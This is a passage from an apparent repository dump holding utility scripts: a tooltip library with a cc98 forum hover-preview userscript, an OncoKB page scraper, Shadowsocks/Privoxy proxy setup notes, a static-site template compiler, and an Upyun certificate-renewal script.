tooltip.get('offsetHeight'),\r\n                mouseX,\r\n                mouseY,\r\n                tooltip.get('offsetX'),\r\n                tooltip.get('offsetY'),\r\n                tooltip.get('mouseOffset'),\r\n                tooltip.get('inframe') ? window.parent : window\r\n            );\r\n        }\r\n        else\r\n        {\r\n            coordinates = {\r\n                'x' : mouseX + tooltip.get('offsetX'),\r\n                'y' : mouseY + tooltip.get('offsetY') + tooltip.get('mouseOffset')\r\n            };\r\n        }\r\n\r\n        // update the position\r\n        tipObj.style.left = coordinates.x + 'px';\r\n        tipObj.style.top = coordinates.y + 'px';\r\n\r\n        // increase the tip zIndex so it goes over previously shown tips\r\n        tipObj.style.zIndex = domLib_zIndex++;\r\n    }\r\n\r\n    // if tip is not active, active it now and check for a fade in\r\n    if (status == 'pending')\r\n    {\r\n        // unhide the tooltip\r\n        tooltip.set('status', 'active');\r\n        tipObj.style.display = '';\r\n        tipObj.style.visibility = 'visible';\r\n\r\n        var fade = tooltip.get('fade');\r\n        if (fade != 'neither')\r\n        {\r\n            var fadeHandler = tooltip.get('fadeHandler');\r\n            if (fade == 'out' || fade == 'both')\r\n            {\r\n                fadeHandler.haltFade();\r\n                if (fade == 'out')\r\n                {\r\n                    fadeHandler.halt();\r\n                }\r\n            }\r\n\r\n            if (fade == 'in' || fade == 'both')\r\n            {\r\n                fadeHandler.fadeIn();\r\n            }\r\n        }\r\n\r\n        if (tooltip.get('type') == 'greasy' && tooltip.get('lifetime') != 0)\r\n        {\r\n            tooltip.set('lifetimeTimeout', domLib_setTimeout(domTT_runDeactivate, tooltip.get('lifetime'), [tipObj.id]));\r\n        }\r\n    }\r\n\r\n    if (tooltip.get('position') == 'absolute' && domTT_detectCollisions)\r\n    {\r\n        // utilize original collision element cache\r\n        domLib_detectCollisions(tipObj, false, true);\r\n    }\r\n}\r\n\r\n// }}}\r\n// {{{ domTT_close()\r\n\r\n// in_handle can either be an child object of the tip, the tip id or the owner id\r\nfunction domTT_close(in_handle)\r\n{\r\n    var id;\r\n    if (typeof(in_handle) == 'object' && in_handle.nodeType)\r\n    {\r\n        var obj = in_handle;\r\n        while (!obj.id || !domTT_tooltips.get(obj.id))\r\n        {\r\n            obj = obj.parentNode;\r\n\r\n            if (obj.nodeType != document.ELEMENT_NODE) { return; }\r\n        }\r\n\r\n        id = obj.id;\r\n    }\r\n    else\r\n    {\r\n        id = in_handle;\r\n    }\r\n\r\n    domTT_deactivate(id);\r\n}\r\n\r\n// }}}\r\n// {{{ domTT_closeAll()\r\n\r\n// run through the tooltips and close them all\r\nfunction domTT_closeAll()\r\n{\r\n    // NOTE: this will iterate 2x # of tooltips\r\n    for (var id in domTT_tooltips.elementData) {\r\n        domTT_close(id);\r\n    }\r\n}\r\n\r\n// }}}\r\n// {{{ domTT_deactivate()\r\n\r\n// in_id is either the tip id or the owner id\r\nfunction domTT_deactivate(in_id)\r\n{\r\n    var tooltip = domTT_tooltips.get(in_id);\r\n    if (tooltip)\r\n    {\r\n        var status = tooltip.get('status');\r\n        if (status == 'pending')\r\n        {\r\n            // cancel the creation of this tip if it is still pending\r\n            domLib_clearTimeout(tooltip.get('activateTimeout'));\r\n            tooltip.set('status', 'inactive');\r\n        }\r\n        else if (status == 'active')\r\n        {\r\n            if (tooltip.get('lifetime'))\r\n            {\r\n                domLib_clearTimeout(tooltip.get('lifetimeTimeout'));\r\n            }\r\n\r\n            var tipObj = tooltip.get('node');\r\n            if (tooltip.get('closeAction') == 'hide')\r\n            {\r\n                var fade = tooltip.get('fade');\r\n                if (fade != 'neither')\r\n                {\r\n                    var fadeHandler = tooltip.get('fadeHandler');\r\n                    if (fade == 'out' || fade == 'both')\r\n                    {\r\n                        fadeHandler.fadeOut();\r\n                    }\r\n                    else\r\n                    {\r\n                        fadeHandler.hide();\r\n                    }\r\n                }\r\n                else\r\n                {\r\n                    tipObj.style.display = 'none';\r\n                }\r\n            }\r\n            else\r\n            {\r\n                tooltip.get('parent').removeChild(tipObj);\r\n                domTT_tooltips.remove(tooltip.get('owner').id);\r\n                domTT_tooltips.remove(tooltip.get('id'));\r\n            }\r\n\r\n            tooltip.set('status', 'inactive');\r\n            if (domTT_detectCollisions) {\r\n                // unhide all of the selects that are owned by this object\r\n                // utilize original collision element cache\r\n                domLib_detectCollisions(tipObj, true, true);\r\n            }\r\n        }\r\n    }\r\n}\r\n\r\n// }}}\r\n// {{{ domTT_mouseout()\r\n\r\nfunction domTT_mouseout(in_owner, in_event)\r\n{\r\n    if (!domLib_useLibrary) { return false; }\r\n\r\n    if (typeof(in_event) == 'undefined') { in_event = window.event;\t}\r\n\r\n    var toChild = domLib_isDescendantOf(in_event[domLib_eventTo], in_owner, domTT_bannedTags);\r\n    var tooltip = domTT_tooltips.get(in_owner.id);\r\n    if (tooltip && (tooltip.get('type') == 'greasy' || tooltip.get('status') != 'active'))\r\n    {\r\n        // deactivate tip if exists and we moved away from the owner\r\n        if (!toChild)\r\n        {\r\n            domTT_deactivate(in_owner.id);\r\n            try { window.status = window.defaultStatus; } catch(e) {}\r\n        }\r\n    }\r\n    else if (!toChild)\r\n    {\r\n        try { window.status = window.defaultStatus; } catch(e) {}\r\n    }\r\n}\r\n\r\n// }}}\r\n// {{{ domTT_mousemove()\r\n\r\nfunction domTT_mousemove(in_owner, in_event)\r\n{\r\n    if (!domLib_useLibrary) { return false; }\r\n\r\n    if (typeof(in_event) == 'undefined') { in_event = window.event;\t}\r\n\r\n    var tooltip = domTT_tooltips.get(in_owner.id);\r\n    if (tooltip && tooltip.get('trail') && tooltip.get('status') == 'active')\r\n    {\r\n        // see if we are trailing lazy\r\n        if (tooltip.get('lazy'))\r\n        {\r\n            domLib_setTimeout(domTT_runShow, domTT_trailDelay, [in_owner.id, in_event]);\r\n        }\r\n        else\r\n        {\r\n            domTT_show(in_owner.id, in_event);\r\n        }\r\n    }\r\n}\r\n\r\n// }}}\r\n// {{{ domTT_addPredefined()\r\n\r\nfunction domTT_addPredefined(in_id)\r\n{\r\n    var options = new Hash();\r\n    for (var i = 1; i < arguments.length; i += 2)\r\n    {\r\n        options.set(arguments[i], arguments[i + 1]);\r\n    }\r\n\r\n    domTT_predefined.set(in_id, options);\r\n}\r\n\r\n// }}}\r\n// {{{ domTT_correctEdgeBleed()\r\n\r\nfunction domTT_correctEdgeBleed(in_width, in_height, in_x, in_y, in_offsetX, in_offsetY, in_mouseOffset, in_window)\r\n{\r\n    var win, doc;\r\n    var bleedRight, bleedBottom;\r\n    var pageHeight, pageWidth, pageYOffset, pageXOffset;\r\n\r\n    var x = in_x + in_offsetX;\r\n    var y = in_y + in_offsetY + in_mouseOffset;\r\n\r\n    win = (typeof(in_window) == 'undefined' ? window : in_window);\r\n\r\n    // Gecko and IE swaps values of clientHeight, clientWidth properties when\r\n    // in standards compliance mode from documentElement to document.body\r\n    doc = ((domLib_standardsMode && (domLib_isIE || domLib_isGecko)) ? win.document.documentElement : win.document.body);\r\n\r\n    // for IE in compliance mode\r\n    if (domLib_isIE)\r\n    {\r\n        pageHeight = doc.clientHeight;\r\n        pageWidth = doc.clientWidth;\r\n        pageYOffset = doc.scrollTop;\r\n        pageXOffset = doc.scrollLeft;\r\n    }\r\n    else\r\n    {\r\n        pageHeight = doc.clientHeight;\r\n        pageWidth = doc.clientWidth;\r\n\r\n        if (domLib_isKHTML)\r\n        {\r\n            pageHeight = win.innerHeight;\r\n        }\r\n\r\n        pageYOffset = win.pageYOffset;\r\n        pageXOffset = win.pageXOffset;\r\n    }\r\n\r\n    // we are bleeding off the right, move tip over to stay on page\r\n    // logic: take x position, add width and subtract from effective page width\r\n    if ((bleedRight = (x - pageXOffset) + in_width - (pageWidth - domTT_screenEdgePadding)) > 0)\r\n    {\r\n        x -= bleedRight;\r\n    }\r\n\r\n    // we are bleeding to the left, move tip over to stay on page\r\n    // if tip doesn't fit, we will go back to bleeding off the right\r\n    // logic: take x position and check if less than edge padding\r\n    if ((x - pageXOffset) < domTT_screenEdgePadding)\r\n    {\r\n        x = domTT_screenEdgePadding + pageXOffset;\r\n    }\r\n\r\n    // if we are bleeding off the bottom, flip to north\r\n    // logic: take y position, add height and subtract from effective page height\r\n    if ((bleedBottom = (y - pageYOffset) + in_height - (pageHeight - domTT_screenEdgePadding)) > 0)\r\n    {\r\n        y = in_y - in_height - in_offsetY;\r\n    }\r\n\r\n    // if we are bleeding off the top, flip to south\r\n    // if tip doesn't fit, we will go back to bleeding off the bottom\r\n    // logic: take y position and check if less than edge padding\r\n    if ((y - pageYOffset) < domTT_screenEdgePadding)\r\n    {\r\n        y = in_y + domTT_mouseHeight + in_offsetY;\r\n    }\r\n\r\n    return {'x' : x, 'y' : y};\r\n}\r\n\r\n// }}}\r\n// {{{ domTT_isActive()\r\n\r\n// in_id is either the tip id or the owner id\r\nfunction domTT_isActive(in_id)\r\n{\r\n    var tooltip = domTT_tooltips.get(in_id);\r\n    if (!tooltip || tooltip.get('status') != 'active')\r\n    {\r\n        return false;\r\n    }\r\n    else\r\n    {\r\n        return true;\r\n    }\r\n}\r\n\r\n// }}}\r\n// {{{ domTT_runXXX()\r\n\r\n// All of these domMenu_runXXX() methods are used by the event handling sections to\r\n// avoid the circular memory leaks caused by inner functions\r\nfunction domTT_runDeactivate(args) { domTT_deactivate(args[0]); }\r\nfunction domTT_runShow(args) { domTT_show(args[0], args[1]); }\r\n\r\n// }}}\r\n// {{{ domTT_replaceTitles()\r\n\r\nfunction domTT_replaceTitles(in_decorator)\r\n{\r\n    var elements = domLib_getElementsByClass('tooltip');\r\n    for (var i = 0; i < elements.length; i++)\r\n    {\r\n        if (elements[i].title)\r\n        {\r\n            var content;\r\n            if (typeof(in_decorator) == 'function')\r\n            {\r\n                content = in_decorator(elements[i]);\r\n            }\r\n            else\r\n            {\r\n                content = elements[i].title;\r\n            }\r\n\r\n            content = content.replace(new RegExp('\\'', 'g'), '\\\\\\'');\r\n            elements[i].onmouseover = new Function('in_event', \"domTT_activate(this, in_event, 'content', '\" + content + \"')\");\r\n            elements[i].title = '';\r\n        }\r\n    }\r\n}\r\n\r\n// }}}\r\n// {{{ domTT_update()\r\n\r\n// Allow authors to update the contents of existing tips using the DOM\r\n// Unfortunately, the tip must already exist, or else no work is done.\r\n// TODO: make getting at content or caption cleaner\r\nfunction domTT_update(handle, content, type)\r\n{\r\n    // type defaults to 'content', can also be 'caption'\r\n    if (typeof(type) == 'undefined')\r\n    {\r\n        type = 'content';\r\n    }\r\n\r\n    var tip = domTT_tooltips.get(handle);\r\n    if (!tip)\r\n    {\r\n        return;\r\n    }\r\n\r\n    var tipObj = tip.get('node');\r\n    var updateNode;\r\n    if (type == 'content')\r\n    {\r\n        // <div class=\"contents\">...\r\n        updateNode = tipObj.firstChild;\r\n        if (updateNode.className != 'contents')\r\n        {\r\n            // <table><tbody><tr>...</tr><tr><td><div class=\"contents\">...\r\n            updateNode = updateNode.firstChild.firstChild.nextSibling.firstChild.firstChild;\r\n        }\r\n    }\r\n    else\r\n    {\r\n        updateNode = tipObj.firstChild;\r\n        if (updateNode.className == 'contents')\r\n        {\r\n            // missing caption\r\n            return;\r\n        }\r\n\r\n        // <table><tbody><tr><td><div class=\"caption\">...\r\n        updateNode = updateNode.firstChild.firstChild.firstChild.firstChild;\r\n    }\r\n\r\n    // TODO: allow for a DOM node as content\r\n    updateNode.innerHTML = content;\r\n}\r\n\r\n// }}}\r\nGM_addStyle(`\r\n/* Default DOM Tooltip Style */\r\ndiv.domTT {\r\nborder: 1px solid #333333;\r\nbackground-color: #333333;\r\nmax-height: 60%;\r\noverflow: auto;\r\n}\r\ndiv.domTT .caption {\r\nfont-family: serif;\r\nfont-size: 12px;\r\nfont-weight: bold;\r\npadding: 1px 2px;\r\ncolor: #FFFFFF;\r\n}\r\ndiv.domTT .contents {\r\nfont-size: 12px;\r\nfont-family: sans-serif;\r\npadding: 3px 2px;\r\nbackground-color: #F1F1FF;\r\nword-break: break-all;\r\nword-wrap: break-word;\r\nwhite-space: pre-line;\r\n}\r\n\r\n/* Classic Style */\r\ndiv.domTTClassic {\r\nborder: 1px solid black;\r\nbackground-color: InfoBackground;\r\n}\r\ndiv.domTTClassic .caption {\r\nfont-family: serif;\r\nfont-size: 13px;\r\n_font-size: 12px;\r\nfont-weight: bold;\r\nfont-style: italic;\r\npadding: 1px 2px;\r\n}\r\ndiv.domTTClassic .contents {\r\ncolor: InfoText;\r\nfont-size: 13px;\r\n_font-size: 12px;\r\nfont-family: Arial, sans-serif;\r\npadding: 1px 2px;\r\n_padding-bottom: 0;\r\n}\r\n\r\n/* Win9x Style */\r\ndiv.domTTWin {\r\nborder: 2px outset #BFBFBF;\r\nbackground-color: #808080\r\n}\r\ndiv.domTTWin .caption {\r\nborder: 0px solid #BFBFBF;\r\nborder-width: 1px 1px 0px 1px;\r\nbackground-color: #00007F;\r\npadding: 2px;\r\nfont-size: 12px;\r\nfont-weight: bold;\r\nfont-family: sans-serif;\r\ncolor: white;\r\n}\r\ndiv.domTTWin .contents {\r\nborder: 1px solid #BFBFBF;\r\n}\r\n\r\n/* Overlib Style */\r\ndiv.domTTOverlib {\r\nborder: 1px solid #333366;\r\nbackground-color: #333366;\r\n}\r\ndiv.domTTOverlib .caption {\r\nfont-family: Verdana, Helvetica;\r\nfont-size: 10px;\r\nfont-weight: bold;\r\ncolor: #FFFFFF;\r\n}\r\ndiv.domTTOverlib .contents {\r\nfont-size: 10px;\r\nfont-family: Verdana, Helvetica;\r\npadding: 2px;\r\nbackground-color: #F1F1FF;\r\n}\r\n\r\n/* Nicetitle Style */\r\ndiv.niceTitle\r\n{\r\nbackground-color: #333333;\r\ncolor: #FFFFFF;\r\nfont-weight: bold;\r\nfont-size: 13px;\r\nfont-family: \"Trebuchet MS\", sans-serif;\r\nwidth: 250px;\r\nleft: 0;\r\ntop: 0;\r\npadding: 4px;\r\nposition: absolute;\r\ntext-align: left;\r\nz-index: 20;\r\n-moz-border-radius: 0 10px 10px 10px;\r\nfilter: progid:DXImageTransform.Microsoft.Alpha(opacity=87);\r\n-moz-opacity: .87;\r\n-khtml-opacity: .87;\r\nopacity: .87;\r\n}\r\ndiv.niceTitle .contents\r\n{\r\nmargin: 0;\r\npadding: 0 3px;\r\nfilter: progid:DXImageTransform.Microsoft.Alpha(opacity=100);\r\n-moz-opacity: 1;\r\n-khtml-opacity: 1;\r\nopacity: 1;\r\n}\r\ndiv.niceTitle p\r\n{\r\ncolor: #D17E62;\r\nfont-size: 9px;\r\npadding: 3px 0 0 0;\r\nmargin: 0;\r\ntext-align: left;\r\n-moz-opacity: 1;\r\n}\r\n\r\n/* Context Menu Style */\r\ndiv.domTTMenu {\r\nwidth: 150px;\r\nborder: 2px outset #E6E6E6;\r\n}\r\ndiv.domTTMenu .caption {\r\nfont-size: 12px;\r\nfont-family: sans-serif;\r\nbackground-color: #E6E6E6;\r\n}\r\ndiv.domTTMenu .contents {\r\npadding: 1px 0;\r\nbackground-color: #E6E6E6;\r\n}\r\n\r\ndiv.domTT .contents img {\r\nmax-width: 100%;\r\n}\r\n\r\n.emotac01, .emotac02, .emotac03, .emotac04, .emotac05, \r\n.emotac06, .emotac07, .emotac08, .emotac09, .emotac10, \r\n.emotac1003, .emotac11, .emotac12, .emotac13, .emotac14, \r\n.emotac15, .emotac16, .emotac17, .emotac18, .emotac19, \r\n.emotac20, .emotac22, .emotac23, .emotac24, .emotac25, \r\n.emotac26, .emotac32, .emotac39, .emotac43, .emotac52\r\n{ max-width: 100%; background-size: 100%; background-image: url('https://file.cc98.org/v2-upload/43yyjnlr.png'); }\r\n \r\n.emotac01 { background-position: 0 0%; background-size: 100%; }\r\n.emotac02 { background-position: 0 3.448276%; background-size: 100%; }\r\n.emotac03 { background-position: 0 6.896552%; background-size: 100%; }\r\n.emotac04 { background-position: 0 10.344828%; background-size: 100%; }\r\n.emotac05 { background-position: 0 13.793103%; background-size: 100%; }\r\n.emotac06 { background-position: 0 17.241379%; background-size: 100%; }\r\n.emotac07 { background-position: 0 20.689655%; background-size: 100%; }\r\n.emotac08 { background-position: 0 24.137931%; background-size: 100%; }\r\n.emotac09 { background-position: 0 27.586207%; background-size: 100%; }\r\n.emotac10 { background-position: 0 31.034483%; background-size: 100%; }\r\n.emotac1003 { background-position: 0 34.482759%; background-size: 100%; }\r\n.emotac11 { background-position: 0 37.931034%; background-size: 100%; }\r\n.emotac12 { background-position: 0 41.37931%; background-size: 100%; }\r\n.emotac13 { background-position: 0 44.827586%; background-size: 100%; }\r\n.emotac14 { background-position: 0 48.275862%; background-size: 100%; }\r\n.emotac15 { background-position: 0 51.724138%; background-size: 100%; }\r\n.emotac16 { background-position: 0 55.172414%; background-size: 100%; }\r\n.emotac17 { background-position: 0 58.62069%; background-size: 100%; }\r\n.emotac18 { background-position: 0 62.068966%; background-size: 100%; }\r\n.emotac19 { background-position: 0 65.517241%; background-size: 100%; }\r\n.emotac20 { background-position: 0 68.965517%; background-size: 100%; }\r\n.emotac22 { background-position: 0 72.413793%; background-size: 100%; }\r\n.emotac23 { background-position: 0 75.862069%; background-size: 100%; }\r\n.emotac24 { background-position: 0 79.310345%; background-size: 100%; }\r\n.emotac25 { background-position: 0 82.758621%; background-size: 100%; }\r\n.emotac26 { background-position: 0 86.206897%; background-size: 100%; }\r\n.emotac32 { background-position: 0 89.655172%; background-size: 100%; }\r\n.emotac39 { background-position: 0 93.103448%; background-size: 100%; }\r\n.emotac43 { background-position: 0 96.551724%; background-size: 100%; }\r\n.emotac52 { background-position: 0 100%; background-size: 100%; }\r\n`);\r\nvar cache_content = {};\r\nvar oldlength = {};\r\nvar oldurl = {};\r\nfunction handletarget(target){\r\n    var focustopictitle = $(target);\r\n    if (focustopictitle.length == oldlength[target] && document.location.href == oldurl[target]){return;}\r\n    $(\"[id^='__autoId']\").each(function(){$(this).removeAttr(\"id\");})\r\n    oldlength[target] = focustopictitle.length;\r\n    oldurl[target] = document.location.href;\r\n    //console.log(\"unbind mouseover \"+target);\r\n    focustopictitle.unbind('mouseover');\r\n    focustopictitle.mouseover(\r\n        function(event){\r\n            var thisx = this;\r\n            var title=$(this).text();\r\n            var topicid;\r\n            if(target==\".focus-topic-title\"||target=='a[href^=\"/topic/\"]'){\r\n                var href=$(this).attr('href');\r\n                topicid = href.split(\"/\")[2];\r\n            }else if(target==\".listTitle\"){\r\n                topicid = $(this).attr('id').replace(\"title\",\"\");\r\n            }else{\r\n                return;\r\n            }\r\n            var content;\r\n            var width=400;\r\n            if(window.innerWidth<420) width = window.innerWidth-20;\r\n            if(window.innerWidth>1000) width=700;\r\n            if(typeof(cache_content[topicid])!='undefined'){\r\n                content = cache_content[topicid];\r\n                domTT_activate(thisx, event, 'content', content, 'trail', false, 'direction', 'southeast', 'clearMouse', true, 'delay', 0, 'maxWidth', width, 'caption', title, 'type', 'velcro', 'draggable', false);\r\n            }else{\r\n                console.log(\"request \"+topicid);\r\n                GM_xmlhttpRequest({method:\"GET\", url:\"https://cc98.tech/topic/\"+topicid+\"/onmouseover\",responseType:\"json\",onload: function (response) {\r\n                    content=JSON.parse(response.responseText).html;\r\n                    cache_content[topicid] = content;\r\n                    domTT_activate(thisx, event, 'content', content, 'trail', false, 'direction', 'southeast', 'clearMouse', true, 'delay', 0, 'maxWidth', width, 'caption', title, 'type', 'velcro', 'draggable', false);\r\n                }});\r\n            }\r\n\r\n        }\r\n    );\r\n}\r\nsetInterval(function(){\r\n    handletarget(\".focus-topic-title\");\r\n    handletarget(\".listTitle\");\r\n    if(/message/.test(document.location.href)) handletarget('a[href^=\"/topic/\"]');\r\n},2000);"
  },
  {
    "path": "code/spider.oncokb.js",
    "content": "var system = require('system');\r\nvar NAME=system.args[1];\r\nvar page = require('webpage').create();\r\nvar fs = require('fs');\r\nvar fp = fs.open(\"output_\"+NAME+\".html\",\"w\");\r\npage.settings.userAgent = 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36';\r\npage.viewportSize = { width: 1920, height: 1080 };\r\n\r\nurl=\"http://oncokb.org/#/gene/\"+NAME;\r\n\r\nfunction capture(){\r\n    console.log(\"save...\");\r\n    page.render('output_'+NAME+'.pdf',{format: 'pdf', quality: '100'});\r\n    fp.write(page.content);\r\n    fp.close();\r\n    phantom.exit();\r\n}\r\nfunction timeout(){\r\n    console.log(\"Timeout!\");\r\n    var flog=fs.open(\"tiemout.log\",\"a\");\r\n    flog.write(NAME);\r\n    flog.close();\r\n}\r\npage.onResourceReceived = function(response) {\r\n    //console.log('Receive ' + JSON.stringify(response, undefined, 4));\r\n    //console.log(response.url);\r\n    if(response.url.indexOf(\"http\")==0){\r\n        console.log(response.url);\r\n    }\r\n    if(response.url.indexOf(\"http://www.cbioportal.org/api-legacy/studies\")!=-1){\r\n        console.log(\"ok...\");\r\n        setTimeout(capture,5000);\r\n    }\r\n};\r\npage.open(url);\r\nsetTimeout(timeout,120000);\r\n"
  },
  {
    "path": "code/ssgit.txt",
    "content": "#假设已经开好ss的客户端在127.0.0.1:1080了\r\n\r\necho \"\"\"\r\n#!/bin/bash\r\nnc -x 127.0.0.1:1080 -X5 $*\r\n\"\"\">~/proxy-wrapper\r\n\r\nchmod +x ~/proxy-wrapper\r\n\r\necho \"\"\"\r\nHost github github.com\r\n    Hostname github.com\r\n    User git\r\n    ProxyCommand $HOME/proxy-wrapper '%h %p'\r\n\"\"\">>~/.ssh/config\r\n\r\nchmod 700 ~/.ssh/config\r\n\r\n#现在就可以欢快地高速`git clone`啦~"
  },
  {
    "path": "code/ssprivoxy.txt",
    "content": "#-----------------------\r\n#本代码将安装shadowsocks和privoxy\r\n#执行后再运行的apt-get等操作将通过shadowsocks以提高网络访问速度\r\n#\r\n#适用场景：\r\n#    在优质网络服务器上搭建好ss后 用于 提升国内服务器/自己电脑的网速\r\n#\r\n#PS: 如果您只需要简单开个代理，建议使用tinyproxy\r\n#-----------------------\r\n\r\n#安装shadowsocks，使用豆瓣源\r\nmkdir -p ~/.pip\r\necho \"\"\"\r\n[global]\r\nindex-url = http://pypi.doubanio.com/simple/\r\n[install]\r\ntrusted-host=pypi.doubanio.com\r\n\"\"\">~/.pip/pip.conf\r\npip install shadowsocks\r\n\r\n#在screen中运行sslocal\r\nscreen -S ss\r\nsslocal ... #直接运行有参数说明的，这里就不细说了\r\n\r\n#按下Ctrl+A d，测试一下：\r\ncurl ip.cn --proxy socks5://127.0.0.1:1080\r\n\r\n#安装privoxy：\r\napt-get install -y privoxy\r\necho \"\"\"\r\nuser-manual /usr/share/doc/privoxy/user-manual\r\nconfdir /etc/privoxy\r\nlogdir /var/log/privoxy\r\nactionsfile match-all.action\r\nactionsfile user.action\r\nlogfile logfile\r\ntoggle  1\r\nenable-remote-toggle  0\r\nenable-remote-http-toggle  0\r\nenable-edit-actions 0\r\nenforce-blocks 0\r\nbuffer-limit 4096\r\nenable-proxy-authentication-forwarding 0\r\nforwarded-connect-retries  0\r\naccept-intercepted-requests 0\r\nallow-cgi-request-crunching 0\r\nsplit-large-forms 0\r\nkeep-alive-timeout 5\r\ntolerate-pipelining 1\r\nsocket-timeout 300\r\nlisten-address  127.0.0.1:8118\r\nforward-socks5    /    127.0.0.1:1080 .\r\n\"\"\">/etc/privoxy/config\r\nservice privoxy restart\r\n\r\n#安装好了privoxy就可以修改系统环境变量设置代理啦:\r\nexport http_proxy=\"http://127.0.0.1:8118\"\r\nexport https_proxy=\"http://127.0.0.1:8118\"\r\n\r\n#测试一下：\r\ncurl ip.cn\r\n\r\n#大功告成~"
  },
  {
    "path": "code/staticwebsite_template_compile.py",
    "content": "import os\r\nimport re\r\nfrom bs4 import BeautifulSoup\r\nTEMPLATE_NAMES = [i.replace(\".template.html\",\"\") for i in os.listdir(\".\") if \".template.html\" in i]\r\nTEMPLATE = {}\r\nfor t in TEMPLATE_NAMES:\r\n    TEMPLATE[t] = open(t+\".template.html\", encoding=\"utf-8\").read()\r\n    if t==\"speaker_people\": # for person sort by pic src, example: chen_yan.jpg\r\n        soup = BeautifulSoup(TEMPLATE[t],\"html.parser\")\r\n        data = []\r\n        tmp = []\r\n        for tr in soup.find_all(\"tr\"):\r\n            img = tr.find(\"img\")\r\n            if img is not None:\r\n                if len(tmp):\r\n                    data.append(tmp)\r\n                    tmp=[]\r\n                tmp.append(img[\"src\"])\r\n                tmp.append(tr.find(\"strong\").text)\r\n            else:\r\n                tmp.append(str(tr))\r\n        data.append(tmp)\r\n        speaker_people = \"\"\r\n        for person in sorted(data):\r\n            speaker_people += \"\"\"<tr align=\"left\"><th rowspan=\"2\"><div align=\"center\">\r\n           <img src=\"%s\" width=\"132\" height=\"180\" /></div></th> \r\n         <td class=\"STYLE13\"><strong>%s</strong></td> </tr> %s\"\"\"%(person[0], person[1], person[2])\r\n        TEMPLATE[t] = speaker_people\r\n        \r\nnavbardata=TEMPLATE[\"navbar\"]\r\n\r\nfor filename in os.listdir(\".\"):\r\n    if \"blade.html\" in filename:\r\n        print(filename)\r\n        targetfile = filename.replace(\".blade\",\"\")\r\n        templatedata = open(filename, \"r\", encoding=\"utf-8\").read()\r\n        newdata = templatedata\r\n        for name in TEMPLATE_NAMES:\r\n            if name==\"navbar\": # navbar class active replace\r\n                TEMPLATE[\"navbar\"] = navbardata.replace(\"\"\"href=\"{}\"s\"\"\".format(targetfile), \"\"\"href=\"{}\" class=\"active\" s\"\"\".format(targetfile))\r\n            newdata = newdata.replace(\"{{\"+name+\"}}\", TEMPLATE[name])\r\n        print(len(newdata))\r\n        newdata = re.sub(\"(<!--(.|\\s|\\n)*?-->)\", \"\", newdata, flags=re.MULTILINE)\r\n        print(len(newdata))\r\n        open(targetfile, \"w\", encoding=\"utf-8\").write(newdata)"
  },
  {
    "path": "code/upyun.py",
    "content": "import sys\r\nsys.path.append(\"../..\")\r\nimport sys, time\r\nfrom EasyLogin import EasyLogin\r\na=EasyLogin(cookiefile=\"upyun.status\")\r\n\r\ndef login(username,password):\r\n    global a\r\n    data={\"username\":username,\"password\":password}\r\n    print(\"Login...\",end=\"\")\r\n    x=a.post_json(\"https://console.upyun.com/accounts/signin/\",data,save=True)\r\n    status=(x.get(\"msg\",{}).get(\"messages\",[\"error\"])[0]==\"登录成功\")\r\n    if status:\r\n        print(\"Success\")\r\n    else:\r\n        print(\"Login Failed\")\r\n        print(x)\r\n        exit()\r\n    return status\r\n\r\ndef islogin():\r\n    global a\r\n    x=a.get(\"https://console.upyun.com/api/\",o=True)\r\n    return \"location\" not in x.headers\r\n\r\ndef purge_rule_request(urls):\r\n    \"\"\"\r\n    urls is multiple urls(must contain *) separated by '\\n'\r\n    :param urls: \"\\n\".join([url1,url2])\r\n    \"\"\"\r\n    global a\r\n    x=a.post_json(\"https://console.upyun.com/api/buckets/purge/batch/\",{\"source_url\": urls, \"nofi\": 0, \"delay\": 3600})\r\n    try:\r\n        result = [i[\"status\"] for i in x[\"data\"]]\r\n    except:\r\n        print(x)\r\n        return \"Error\"\r\n    return result\r\n\r\ndef https_domain_list(inuseonly=True, selfonly=True, detail=True):\r\n    global a\r\n    data = a.get(\"https://console.upyun.com/api/https/certificate/list/?limit=50\", o=True).json()[\"data\"][\"result\"]\r\n    x = {}\r\n    currenttime = int(time.time())\r\n    for id, item in data.items():\r\n        if id==\"default\":\r\n            continue\r\n        item[\"expired\"] = currenttime > item[\"validity\"][\"end\"]/1000\r\n        item[\"expiredin\"] = int((item[\"validity\"][\"end\"]/1000 - currenttime)/86400)\r\n        if selfonly and item[\"brand\"]!=\"\" and not item[\"expired\"]:\r\n            continue\r\n        if (inuseonly and item['config_domain']>0) or (not inuseonly):\r\n            x[id] = item\r\n    if detail:\r\n        for id,item in x.items():\r\n            item[\"domains\"] = a.get(\"https://console.upyun.com/api/https/certificate/manager/?certificate_id=\"+id, o=True).json()[\"data\"][\"domains\"]\r\n    return x\r\n\r\ndef need_renew_list():\r\n    # {\"domain_name\": \"id\"}\r\n    data = https_domain_list(inuseonly=True, selfonly=True, detail=True)\r\n    res = {}\r\n    for id, item in data.items():\r\n        if item[\"expiredin\"]<30:\r\n            for d in item[\"domains\"]:\r\n                if d.get(\"https\", False):\r\n                    res[d['name']] = id\r\n    return res\r\n\r\ndef add_certificate(cert):\r\n    global a\r\n    data = a.post_json(\"https://console.upyun.com/api/https/certificate/\", cert)\r\n    assert data[\"data\"][\"status\"]==0\r\n    return data[\"data\"][\"result\"]\r\n\r\ndef migrate_certificate(oldid, newid):\r\n    global a\r\n    data = a.post_json(\"https://console.upyun.com/api/https/migrate/certificate\", {\"old_crt_id\":oldid, \"new_crt_id\":newid})\r\n    return data[\"data\"][\"result\"]\r\n\r\ndef renew(api_func, data):\r\n    # api_func(domain_name): return {\"certificate\":\"-----BEGIN CERTIFICATE-----\\n...\", \"private_key\":\"-----BEGIN RSA PRIVATE KEY-----\\n...\"}\r\n    # api_func can also return False\r\n    handled = set()\r\n    currenttime = int(time.time())\r\n    for domain, id in data.items():\r\n        if id in handled:\r\n            continue\r\n        cert = api_func(domain)\r\n        if not cert:\r\n            continue\r\n        newcert_result = add_certificate(cert)\r\n        newid = newcert_result[\"certificate_id\"]\r\n        print(\"get new cert for {commonName}, expiredin: {expiredin}, id: {newid}\".format(newid=newid, commonName=newcert_result[\"commonName\"], expiredin=int((newcert_result[\"validity\"][\"end\"]/1000 - currenttime)/86400)))\r\n        if migrate_certificate(id, newid):\r\n            print(\"migrate success\")\r\n            handled.add(id)\r\n        else:\r\n            print(\"migrate failed\")\r\n        \r\n\r\nif __name__==\"__main__\":\r\n    from pprint import pprint\r\n    try:\r\n        import config\r\n        config.USERNAME\r\n        config.PASSWORD\r\n    except:\r\n        print(\"Please write your USERNAME and PASSWORD 